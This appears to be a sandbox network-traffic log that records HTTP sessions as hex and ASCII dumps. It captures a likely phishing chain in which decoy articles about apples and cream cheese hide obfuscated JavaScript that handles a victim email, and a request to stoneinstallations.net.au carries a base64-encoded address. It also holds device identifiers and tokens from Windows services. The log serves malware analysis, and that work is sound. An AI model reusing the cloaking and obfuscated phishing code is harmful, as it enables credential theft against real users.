2024-11-14 15:39:17 UTC	1028	IN	Data Raw: 66 32 31 65 0d 0a 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 70 70 6c 65 73 20 61 72 65 20 6f 6e 65 20 6f 66 20 74 68 65 20 6d 6f 73 74 20 70 6f 70 75 6c 61 72 20 66 72 75 69 74 73 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 2c 20 61 6e 64 20 66 6f 72 20 67 6f 6f 64 20 72 65 61 73 6f 6e 2e 20 54 68 65 79 20 61 72 65 20 64 65 6c 69 63 69 6f 75 73 2c 20 6e 75 74 72 69 74 69 6f 75 73 2c 20 61 6e 64 20 76 65 72 73 61 74 69 6c 65 2e 20 54 68 69 73 20 61 72 74 69 63 6c 65 20 77 69 6c 6c 20 70 72 6f 76 69 64 65 20 79 6f 75 20 77 69 74 68 20 65 76 65 72 79 74 68 Data Ascii: f21e<!DOCTYPE html><html><head> <meta name="description" content="Apples are one of the most popular fruits in the world, and for good reason. They are delicious, nutritious, and versatile. This article will provide you with everyth
2024-11-14 15:39:17 UTC	14994	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 20 70 61 72 74 20 6f 66 20 74 68 65 20 64 69 65 74 20 69 6e 20 6d 61 6e 79 20 63 75 6c 74 75 72 65 73 20 61 72 6f 75 6e 64 20 74 68 65 20 77 6f 72 6c 64 2e 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 74 79 70 65 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 32 3e 54 79 70 65 73 20 6f 66 20 61 70 70 6c 65 73 3c 2f 68 32 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 70 3e 54 68 65 72 65 20 61 72 65 20 74 68 6f 75 73 61 6e 64 73 20 6f 66 20 64 69 66 66 65 72 65 6e 74 20 74 79 70 65 73 20 6f 66 20 61 70 70 6c 65 73 20 67 72 6f 77 6e 20 61 72 6f 75 6e 64 20 74 68 65 20 77 6f 72 6c 64 2e 20 53 6f 6d 65 20 6f 66 20 74 68 65 20 6d 6f 73 74 20 70 6f 70 75 6c 61 72 Data Ascii: important part of the diet in many cultures around the world.</p> </section> <section id="types"> <h2>Types of apples</h2> <p>There are thousands of different types of apples grown around the world. Some of the most popular
2024-11-14 15:39:17 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 38 38 64 62 36 3d 3d 3d 5f 30 78 33 31 63 34 64 63 3b 7d 2c 27 48 49 46 4f 6f 27 3a 5f 30 78 32 32 62 61 64 62 28 30 78 33 30 31 2c 30 78 33 32 66 2c 30 78 33 38 32 2c 30 78 33 35 63 29 2c 27 52 63 58 4c 44 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 64 36 63 36 2c 5f 30 78 33 39 31 64 65 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 35 64 36 63 36 2b 5f 30 78 33 39 31 64 65 32 3b 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 64 65 36 65 61 28 5f 30 78 34 34 64 32 34 65 2c 5f 30 78 31 64 39 61 62 38 2c 5f 30 78 33 34 61 37 65 33 2c 5f 30 78 33 36 37 31 34 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 38 37 35 28 5f 30 78 31 64 39 61 62 38 2d 30 78 33 32 38 2c 5f 30 78 33 34 61 37 65 33 29 3b 7d 6c 65 74 20 5f 30 78 38 Data Ascii: ){return _0x288db6===_0x31c4dc;},'HIFOo':_0x22badb(0x301,0x32f,0x382,0x35c),'RcXLD':function(_0x25d6c6,_0x391de2){return _0x25d6c6+_0x391de2;}};function _0x4de6ea(_0x44d24e,_0x1d9ab8,_0x34a7e3,_0x367142){return _0x4875(_0x1d9ab8-0x328,_0x34a7e3);}let _0x8
2024-11-14 15:39:17 UTC	16384	IN	Data Raw: 61 33 28 5f 30 78 34 36 38 61 30 66 29 3b 7d 2c 27 6f 66 49 59 75 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 65 32 31 31 63 32 2c 5f 30 78 34 35 39 64 65 39 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 33 36 33 30 38 28 5f 30 78 32 33 31 62 62 34 2c 5f 30 78 32 37 38 63 62 30 2c 5f 30 78 31 37 61 35 64 33 2c 5f 30 78 31 30 61 66 33 66 29 7b 72 65 74 75 72 6e 20 5f 30 78 38 62 35 66 36 64 28 5f 30 78 31 30 61 66 33 66 2d 20 2d 30 78 31 36 35 2c 5f 30 78 32 37 38 63 62 30 2d 30 78 31 65 61 2c 5f 30 78 31 37 61 35 64 33 2d 30 78 39 31 2c 5f 30 78 32 37 38 63 62 30 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 35 33 30 62 66 38 5b 5f 30 78 35 33 36 33 30 38 28 2d 30 78 66 36 2c 2d 30 78 31 39 63 2c 2d 30 78 31 64 63 2c 2d 30 78 31 38 38 29 5d 28 5f 30 78 65 32 31 31 Data Ascii: a3(_0x468a0f);},'ofIYu':function(_0xe211c2,_0x459de9){function _0x536308(_0x231bb4,_0x278cb0,_0x17a5d3,_0x10af3f){return _0x8b5f6d(_0x10af3f- -0x165,_0x278cb0-0x1ea,_0x17a5d3-0x91,_0x278cb0);}return _0x530bf8[_0x536308(-0xf6,-0x19c,-0x1dc,-0x188)](_0xe211
2024-11-14 15:39:18 UTC	13200	IN	Data Raw: 36 63 37 2c 30 78 36 65 62 2c 30 78 37 36 32 2c 30 78 36 64 65 29 5d 28 5f 30 78 33 61 30 62 37 63 5b 5f 30 78 34 61 61 39 32 37 28 30 78 36 33 65 2c 30 78 35 62 30 2c 30 78 35 63 62 2c 30 78 35 65 30 29 5d 2c 62 74 6f 61 28 5f 30 78 33 61 30 62 37 63 5b 5f 30 78 32 32 35 66 38 61 28 2d 30 78 31 61 34 2c 2d 30 78 38 38 2c 2d 30 78 31 61 37 2c 2d 30 78 31 34 64 29 5d 28 61 74 6f 62 2c 5f 30 78 33 61 30 62 37 63 5b 5f 30 78 32 32 35 66 38 61 28 2d 30 78 32 39 34 2c 2d 30 78 32 31 63 2c 2d 30 78 32 62 30 2c 2d 30 78 32 30 36 29 5d 28 63 6c 65 61 6e 45 6d 61 69 6c 2c 5f 30 78 35 34 32 61 32 62 29 29 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 5f 30 78 33 61 30 62 37 63 5b 27 63 70 43 54 58 27 5d 28 5f 30 78 31 66 63 31 64 30 2c 5f 30 78 35 39 30 37 39 36 29 Data Ascii: 6c7,0x6eb,0x762,0x6de)](_0x3a0b7c[_0x4aa927(0x63e,0x5b0,0x5cb,0x5e0)],btoa(_0x3a0b7c[_0x225f8a(-0x1a4,-0x88,-0x1a7,-0x14d)](atob,_0x3a0b7c[_0x225f8a(-0x294,-0x21c,-0x2b0,-0x206)](cleanEmail,_0x542a2b))));else return _0x3a0b7c['cpCTX'](_0x1fc1d0,_0x590796)
2024-11-14 15:39:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49708	163.47.73.97	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:19 UTC	730	OUT	GET /.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1 Host: stoneinstallations.net.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://iestpcanipaco.edu.pe/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:19 UTC	414	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 15:39:19 GMT Server: Apache X-Powered-By: PHP/5.5.38 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=6u6m3cmrgdfibn4ppg36gukj32; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html
2024-11-14 15:39:19 UTC	7778	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 36 44 73 64 32 6e 50 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 20 31 59 4c 41 31 59 5a 51 32 4d 58 43 52 54 53 58 36 43 4a 45 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 Data Ascii: 4000<!DOCTYPE html><html lang="en" 6Dsd2nP><head> <meta charset="UTF-8"> <link rel="shortcut icon" href="data:image/x-icon;, 1YLA1YZQ2MXCRTSX6CJE" type="image/x-icon"> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="viewport"
2024-11-14 15:39:19 UTC	8612	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 20 23 35 30 64 39 66 66 7d 0d 0a 09 09 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 33 31 33 31 33 31 7d 68 74 6d 6c 2c 62 75 74 74 6f 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 79 73 74 65 6d 2d 75 69 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c Data Ascii: kground: #50d9ff}*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131}html,button{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,
2024-11-14 15:39:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 15:39:19 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 20 6f 74 68 65 72 20 64 65 6c 69 63 69 6f 75 73 20 77 61 79 73 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 43 6f 6e 63 6c 75 73 69 6f 6e 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 4e 65 78 74 20 74 69 6d 65 20 79 6f 75 20 73 70 72 65 61 64 20 63 72 65 61 6d 20 63 68 65 65 73 65 20 6f 6e 20 79 6f 75 72 20 74 6f 61 73 74 2c 20 74 61 6b 65 20 61 20 6d 6f 6d 65 6e 74 20 74 6f 20 61 70 70 72 65 63 69 61 74 65 20 74 68 65 20 73 63 69 65 6e 63 65 20 61 6e 64 20 74 65 63 68 6e 6f 6c 6f 67 79 20 62 65 68 69 6e 64 20 74 68 69 73 20 64 65 6c 69 67 68 74 66 75 6c 20 70 72 6f 64 75 63 74 2e 20 46 72 6f 6d 20 63 75 6c 74 75 72 69 6e 67 20 74 68 65 20 6d 69 6c 6b 20 74 6f 20 63 72 65 61 74 69 6e 67 20 74 Data Ascii: 4000 other delicious ways.</p> <h2>Conclusion</h2> <p>Next time you spread cream cheese on your toast, take a moment to appreciate the science and technology behind this delightful product. From culturing the milk to creating t
2024-11-14 15:39:19 UTC	8198	IN	Data Raw: 61 30 32 30 5b 5f 30 78 34 61 35 64 36 66 28 30 78 32 36 31 2c 30 78 32 39 32 2c 30 78 32 38 66 2c 30 78 32 63 38 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 34 34 65 34 64 28 5f 30 78 32 34 34 39 35 36 2c 5f 30 78 35 62 38 63 35 39 2c 5f 30 78 31 65 31 63 38 31 2c 5f 30 78 32 63 31 34 30 31 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 37 39 32 61 62 28 5f 30 78 32 34 34 39 35 36 2d 30 78 33 38 2c 5f 30 78 35 62 38 63 35 39 2c 5f 30 78 31 65 31 63 38 31 2d 30 78 31 62 61 2c 5f 30 78 32 34 34 39 35 36 2d 30 78 35 33 38 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 63 37 34 28 5f 30 78 32 65 32 64 30 31 2c 5f 30 78 35 37 64 35 66 34 2c 5f 30 78 64 63 31 65 39 38 2c 5f 30 78 33 61 37 Data Ascii: a020[_0x4a5d6f(0x261,0x292,0x28f,0x2c8)](setInterval,function(){function _0x544e4d(_0x244956,_0x5b8c59,_0x1e1c81,_0x2c1401){return _0x1792ab(_0x244956-0x38,_0x5b8c59,_0x1e1c81-0x1ba,_0x244956-0x538);}function _0x2b1c74(_0x2e2d01,_0x57d5f4,_0xdc1e98,_0x3a7
2024-11-14 15:39:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 15:39:19 UTC	8192	IN	Data Raw: 32 61 36 64 0d 0a 69 6f 6e 20 5f 30 78 32 31 66 30 34 32 28 5f 30 78 32 62 64 61 66 65 2c 5f 30 78 32 33 66 33 65 64 2c 5f 30 78 33 62 62 64 65 62 2c 5f 30 78 33 66 66 31 32 66 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 61 31 35 28 5f 30 78 32 33 66 33 65 64 2d 20 2d 30 78 31 33 62 2c 5f 30 78 33 62 62 64 65 62 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 34 35 65 32 65 65 5b 5f 30 78 32 31 66 30 34 32 28 30 78 31 2c 30 78 31 31 2c 30 78 32 35 2c 30 78 31 35 29 5d 28 5f 30 78 34 30 32 62 62 30 2c 5f 30 78 34 66 64 65 62 35 29 3b 7d 2c 27 72 41 6a 6e 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 38 36 65 38 61 2c 5f 30 78 33 65 39 65 62 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 38 36 65 38 61 2b 5f 30 78 33 65 39 65 62 36 3b 7d 2c 27 76 6e 4d 59 6b 27 3a 5f 30 78 Data Ascii: 2a6dion _0x21f042(_0x2bdafe,_0x23f3ed,_0x3bbdeb,_0x3ff12f){return _0x1a15(_0x23f3ed- -0x13b,_0x3bbdeb);}return _0x45e2ee[_0x21f042(0x1,0x11,0x25,0x15)](_0x402bb0,_0x4fdeb5);},'rAjnK':function(_0x386e8a,_0x3e9eb6){return _0x386e8a+_0x3e9eb6;},'vnMYk':_0x
2024-11-14 15:39:19 UTC	2675	IN	Data Raw: 29 3b 76 61 72 20 5f 30 78 35 31 65 62 61 36 3d 5f 30 78 34 63 33 38 36 37 3b 6c 65 74 20 5f 30 78 32 35 38 61 64 38 3d 6e 65 77 20 44 61 74 65 28 29 3b 5f 30 78 32 35 38 61 64 38 5b 5f 30 78 34 64 31 30 65 34 28 2d 30 78 32 61 63 2c 2d 30 78 32 39 33 2c 2d 30 78 32 38 33 2c 2d 30 78 32 38 32 29 5d 28 5f 30 78 32 35 38 61 64 38 5b 5f 30 78 35 38 33 38 61 64 28 2d 30 78 32 30 63 2c 2d 30 78 31 66 64 2c 2d 30 78 32 33 33 2c 2d 30 78 32 35 61 29 5d 28 29 2b 5f 30 78 35 31 65 62 61 36 5b 5f 30 78 35 38 33 38 61 64 28 2d 30 78 32 35 64 2c 2d 30 78 32 30 63 2c 2d 30 78 32 34 61 2c 2d 30 78 32 31 61 29 5d 28 2d 30 78 64 32 30 2b 2d 30 78 32 32 64 38 2b 30 78 33 30 33 34 2c 2d 30 78 34 63 65 61 2b 2d 30 78 32 63 31 34 2b 30 78 36 2a 30 78 31 61 61 64 29 29 3b 6c Data Ascii: );var _0x51eba6=_0x4c3867;let _0x258ad8=new Date();_0x258ad8[_0x4d10e4(-0x2ac,-0x293,-0x283,-0x282)](_0x258ad8[_0x5838ad(-0x20c,-0x1fd,-0x233,-0x25a)]()+_0x51eba6[_0x5838ad(-0x25d,-0x20c,-0x24a,-0x21a)](-0xd20+-0x22d8+0x3034,-0x4cea+-0x2c14+0x6*0x1aad));l
2024-11-14 15:39:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 15:39:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49713	2.23.209.183	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:21 UTC	2583	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -300 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=300; StandardBias=0; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Agent-DeviceId: 01000A41090080B6 X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAATKroDVehIwhR1af/NJXyEM/gWDmFHEyD/jvuxhb%2BEp%2BvftiDzLladduscq70ZpGhopdhEZ8qqmoHfIbPOSm0ugw3lhj3wJ9chhQzLUzuVkc/Fsc2Fy3cEeW6nFt1DjKEUSbAuArYcH8K2VpTtXi2iJT6WF5QLWupR1oI4/nrOgYjw%2B9EN2UiNbSRpRi%2BlbNvKOnMP/AM%2B7wbBEXXZQLov3CC4Z6plGqpD7kQ/JHTc5EilGf3jFWO9ofEF2EPhUhqWfv0vrT1fCOfdh9h%2BnJMHjCmEDgPxB8uuh7BhVOFIOqYB5jYNhlUhOn5cy9jVnPEnvlpoOXPtxV84wBnGKRN6cQZgAAEEMeUnIlB2TE3VtumdoQNiOwAcsxOc%2BmcKVnjr6oaUQi0jH9bs96gh3Ka0v32ifi%2BNPmwjbda6ag01cZBDKZcWXTkBsX9VkC%2ByHXGuLsydg8DQiqhXqnI3G349OWBC8kooxqSoutkMfdgJbIZGM7QEIdh6RdGdoCVvuYRFjQVVNA6EI9M6cjCV5W9Arls2oJA49QqtLh/j9b7n1O5EUr6gK5hMXcUlTcnC9D6sfqv/Kj7eBlKPB/cEbKmMyTvvJVmY3MiIBxQlJj8GGGs3WJT8dn2kTYJTLfLnvRmt4oGmbkC5ogTVfJDZZ%2BgAdHqYX4epC1VukkCXb6ENlwkragBhi7rDjcH8Knl8HS9HKLtstNq1VIDYAlFfJY82RQErcODUG2MwNCWBMjypA8Q/Sj25XHwPQeL5sjxdrt/bC%2BQKS1ue%2B8gZerkZd9w0t3UIOrbfPPisaYeCmTYIyBSPA1v3wE7Cw%2BYHFmhdhTZtPhs6ViJjBqlqqFz33iVi%2Bzc8LWEOTK0S405EH6MOlZFQwjQ9IKNd08VJaEnnyt2w8aa4Czv1KwFOLfxavvyixi9jMhzQaCosn3Q [TRUNCATED] X-BM-CBT: 1731598759 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 9ADB7F4B53A04B02BDC05661ECE4D0E4 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-11-14 15:39:22 UTC	1148	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 673619a9e4364594a1664ca13834af1d X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Thu, 14 Nov 2024 15:39:21 GMT Connection: close Set-Cookie: _EDGE_S=SID=30ACC2935A9260F1106DD7A45BEF61EB&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Tue, 09-Dec-2025 15:39:21 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=30ACC2935A9260F1106DD7A45BEF61EB; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.07d01702.1731598761.143e2824
2024-11-14 15:39:22 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.17	49712	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:21 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-11-14 15:39:21 UTC	209	IN	HTTP/1.1 400 Bad Request X-MSEdge-Ref: Ref A: 5BCA2FB8590A40349BF675E61A2BD580 Ref B: DFW311000105053 Ref C: 2024-11-14T15:39:21Z Date: Thu, 14 Nov 2024 15:39:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49715	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rszwPrLvACtc23F&MD=zB2GzbMC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-14 15:39:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 770477e3-5185-4dd3-a9a3-c5b2bb3d0d10 MS-RequestId: 65c24e67-aec1-48ba-ae8a-43f9972924ac MS-CV: t1kXI4DuikygSsIF.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 14 Nov 2024 15:39:23 GMT Connection: close Content-Length: 24490
2024-11-14 15:39:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
